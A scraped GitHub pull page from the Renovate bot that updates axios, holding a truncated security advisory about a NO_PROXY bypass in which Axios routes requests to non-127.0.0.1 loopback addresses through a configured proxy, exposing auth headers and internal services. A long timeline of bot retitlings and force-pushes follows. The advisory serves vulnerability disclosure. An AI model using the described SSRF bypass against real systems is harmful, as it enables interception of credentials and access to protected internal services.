Axios is one of the most widely used HTTP client libraries in the JavaScript ecosystem, with over 500 million weekly downloads on npm. Any application in the above categories using Axios 1.15.0 is affected, regardless of whether the developer is aware of the underlying proxy routing logic.

4.3 Impact Details

Impact 1 Silent Interception of Internal Service Traffic

When an application makes a request to an internal loopback service using a non-standard loopback address (e.g., http://127.0.0.2/admin), Axios silently routes the request through the configured proxy instead of connecting directly.

Developer expects: Application → 127.0.0.2:8080 (direct)
Actual behaviour: Application → Attacker Proxy → 127.0.0.2:8080
The proxy receives:
- Full request URL
- HTTP method
- All request headers (including Authorization, Cookie, API keys)
- Request body (for POST/PUT requests)
- Full response from the internal service

The developer receives no error or warning. From the application's perspective, the request succeeds normally.

Impact 2 — SSRF Mitigation Bypass
Many applications implement SSRF protections by configuring NO_PROXY to prevent requests to loopback addresses from being forwarded externally. This bypass defeats that protection entirely for any loopback address beyond 127.0.0.1.

SSRF Protection (as configured by developer):
NO_PROXY = localhost,127.0.0.1,::1
What developer believes is protected:
All loopback/internal addresses
What is actually protected:
Only: localhost, 127.0.0.1, ::1 (3 of 16,777,216 loopback addresses)
What remains exposed:
127.0.0.2 through 127.255.255.254 (16,777,213 addresses)

An attacker who can influence the target URL of an Axios request through user-supplied input, redirect chains, or other SSRF vectors can exploit this gap to reach internal services that the developer explicitly intended to protect.

Impact 3 — Cloud Metadata Service Exposure
In cloud environments (AWS, GCP, Azure), SSRF vulnerabilities are particularly severe because they can be used to access the instance metadata service and retrieve IAM credentials, enabling full cloud account compromise.

While the AWS IMDSv2 service is reachable at 169.254.169.254 (not a loopback address), many cloud deployments run internal metadata proxies, credential servers, or service discovery endpoints bound to non-standard loopback addresses within the 127.0.0.0/8 range. An attacker reaching any of these services through the bypass could:

  • Retrieve temporary IAM credentials
  • Access environment variables containing secrets
  • Enumerate internal service configurations
  • Pivot to other internal services via the compromised credentials

Impact 4 — Confidential Data Exfiltration
Any internal service binding to a 127.x.x.x address other than 127.0.0.1 is fully exposed. This includes:

Internal Service TypeExposed Data
Admin panels / dashboardsUser data, configuration, logs
Internal APIsBusiness logic, database contents
Secret managers / vaultsAPI keys, tokens, certificates
Health check endpointsInfrastructure topology
Development servicesSource code, environment variables

Impact 5 — No Indication of Compromise
A particularly dangerous characteristic of this vulnerability is that it is completely silent neither the application nor the developer receives any indication that requests are being routed incorrectly. There are no error messages, no exceptions thrown, and no changes in application behaviour. The proxy interception is entirely transparent from the application's perspective, making detection extremely difficult without active network monitoring.

4.4 Comparison with Original Vulnerability

Internal Service TypeExposed DataExposed Data
Attack methodUse localhost. or [::1]Use any 127.x.x.x ≠ 127.0.0.1
Patch statusFixed in 1.15.0Not fixed in 1.15.0
CVSS score9.3 Critical9.9 Critical or (equivalent)
Attacker effortTrivialTrivial
Detection by developerNoneNone
ImpactSSRF / proxy bypassSSRF / proxy bypass (identical)

The severity of this finding is equ

Note

PR body was truncated to here.

@renovaterenovateBot changed the title Update dependency axios to 0.21.1 [SECURITY]Update dependency axios to ^0.21.0 [SECURITY]Mar 8, 2023
@renovaterenovateBot changed the title Update dependency axios to ^0.21.0 [SECURITY]Update dependency axios to 0.21.1 [SECURITY]Mar 9, 2023
@renovaterenovateBot changed the title Update dependency axios to 0.21.1 [SECURITY]Update dependency axios to ^0.21.0 [SECURITY]Mar 24, 2023
@renovaterenovateBot changed the title Update dependency axios to ^0.21.0 [SECURITY]Update dependency axios to 0.21.2 [SECURITY]Apr 22, 2023
@renovate
renovateBotforce-pushed the renovate/npm-axios-vulnerability branch from 3a85cfd to b80574dCompareApril 22, 2023 06:25
@renovaterenovateBot changed the title Update dependency axios to 0.21.2 [SECURITY]Update dependency axios to ^0.21.0 [SECURITY]May 28, 2023
@renovate
renovateBotforce-pushed the renovate/npm-axios-vulnerability branch from b80574d to c0905dcCompareNovember 11, 2023 02:09
@renovaterenovateBot changed the title Update dependency axios to ^0.21.0 [SECURITY]Update dependency axios to v1 [SECURITY]Nov 11, 2023
@renovate
renovateBotforce-pushed the renovate/npm-axios-vulnerability branch from c0905dc to 0a07a6bCompareFebruary 21, 2024 02:10
@renovaterenovateBot changed the title Update dependency axios to v1 [SECURITY]Update dependency axios to ^0.21.0 [SECURITY]Feb 21, 2024
@renovate
renovateBotforce-pushed the renovate/npm-axios-vulnerability branch from 0a07a6b to cefcb58CompareFebruary 22, 2024 02:26
@renovaterenovateBot changed the title Update dependency axios to ^0.21.0 [SECURITY]Update dependency axios to ^0.28.0 [SECURITY]Feb 22, 2024
@renovate
renovateBotforce-pushed the renovate/npm-axios-vulnerability branch from cefcb58 to 1c6a6eaCompareMarch 9, 2025 04:16
@renovaterenovateBot changed the title Update dependency axios to ^0.28.0 [SECURITY]Update dependency axios to v1 [SECURITY]Mar 9, 2025
@renovate
renovateBotforce-pushed the renovate/npm-axios-vulnerability branch from 1c6a6ea to 0717edaCompareMarch 29, 2025 11:37
@renovaterenovateBot changed the title Update dependency axios to v1 [SECURITY]Update dependency axios to ^0.28.0 [SECURITY]Mar 29, 2025
@renovate
renovateBotforce-pushed the renovate/npm-axios-vulnerability branch from 0717eda to 848d137CompareAugust 11, 2025 23:53
@renovate
renovateBotforce-pushed the renovate/npm-axios-vulnerability branch from 848d137 to fdf9ef7CompareSeptember 14, 2025 11:58
@renovaterenovateBot changed the title Update dependency axios to ^0.28.0 [SECURITY]Update dependency axios to v1 [SECURITY]Sep 14, 2025
@renovate
renovateBotforce-pushed the renovate/npm-axios-vulnerability branch 2 times, most recently from 4d22ca3 to 2824479CompareSeptember 30, 2025 08:16
@renovaterenovateBot changed the title Update dependency axios to v1 [SECURITY]Update dependency axios to ^0.30.0 [SECURITY]Sep 30, 2025
@renovate
renovateBotforce-pushed the renovate/npm-axios-vulnerability branch from 2824479 to cc9fd69CompareOctober 25, 2025 07:28
@renovate
renovateBotforce-pushed the renovate/npm-axios-vulnerability branch 2 times, most recently from 669667e to 4505a67CompareNovember 19, 2025 03:41
@renovate
renovateBotforce-pushed the renovate/npm-axios-vulnerability branch from 4505a67 to 1308241CompareDecember 3, 2025 18:14
@renovate
renovateBotforce-pushed the renovate/npm-axios-vulnerability branch from 1308241 to 7bd3008CompareFebruary 10, 2026 14:10
@renovaterenovateBot changed the title Update dependency axios to ^0.30.0 [SECURITY]Update dependency axios to v1 [SECURITY]Feb 10, 2026
@renovate
renovateBotforce-pushed the renovate/npm-axios-vulnerability branch from 7bd3008 to 5eb8fd9CompareFebruary 18, 2026 18:39
@renovaterenovateBot changed the title Update dependency axios to v1 [SECURITY]Update dependency axios to ^0.30.0 [SECURITY]Feb 18, 2026
@renovaterenovateBot changed the title Update dependency axios to ^0.30.0 [SECURITY]Update dependency axios to ^0.30.0 [SECURITY] - autoclosedMar 27, 2026
@renovaterenovateBot closed this Mar 27, 2026
@renovate
renovateBot deleted the renovate/npm-axios-vulnerability branch March 27, 2026 01:35
@renovaterenovateBot changed the title Update dependency axios to ^0.30.0 [SECURITY] - autoclosedUpdate dependency axios to ^0.30.0 [SECURITY]Mar 30, 2026
@renovaterenovateBot reopened this Mar 30, 2026
@renovate
renovateBotforce-pushed the renovate/npm-axios-vulnerability branch 2 times, most recently from 5eb8fd9 to 236ddabCompareMarch 30, 2026 17:50
@renovate
renovateBotforce-pushed the renovate/npm-axios-vulnerability branch from 236ddab to 224f912CompareApril 9, 2026 17:17
@renovaterenovateBot changed the title Update dependency axios to ^0.30.0 [SECURITY]Update dependency axios to v1 [SECURITY]Apr 9, 2026
@renovate
renovateBotforce-pushed the renovate/npm-axios-vulnerability branch from 224f912 to 91fe434CompareApril 16, 2026 11:38
@renovaterenovateBot changed the title Update dependency axios to v1 [SECURITY]Update dependency axios to ^0.31.0 [SECURITY]Apr 16, 2026
@renovaterenovateBot changed the title Update dependency axios to ^0.31.0 [SECURITY]Update dependency axios to ^0.31.0 [SECURITY] - autoclosedApr 27, 2026
@renovaterenovateBot closed this Apr 27, 2026
@renovaterenovateBot changed the title Update dependency axios to ^0.31.0 [SECURITY] - autoclosedUpdate dependency axios to ^0.31.0 [SECURITY]Apr 27, 2026
@renovaterenovateBot reopened this Apr 27, 2026
@renovate
renovateBotforce-pushed the renovate/npm-axios-vulnerability branch 2 times, most recently from 91fe434 to 972196cCompareApril 27, 2026 22:46
@renovate
renovateBotforce-pushed the renovate/npm-axios-vulnerability branch from 972196c to a41a7ecCompareMay 28, 2026 21:11
@renovate
renovateBotforce-pushed the renovate/npm-axios-vulnerability branch from a41a7ec to 5ba6bdfCompareMay 30, 2026 09:31
@renovaterenovateBot changed the title Update dependency axios to ^0.31.0 [SECURITY]Update dependency axios to ^0.32.0 [SECURITY]May 30, 2026
@renovaterenovateBot changed the title Update dependency axios to ^0.32.0 [SECURITY]Update dependency axios to ^0.33.0 [SECURITY]Jul 24, 2026
Sign up for freeto join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants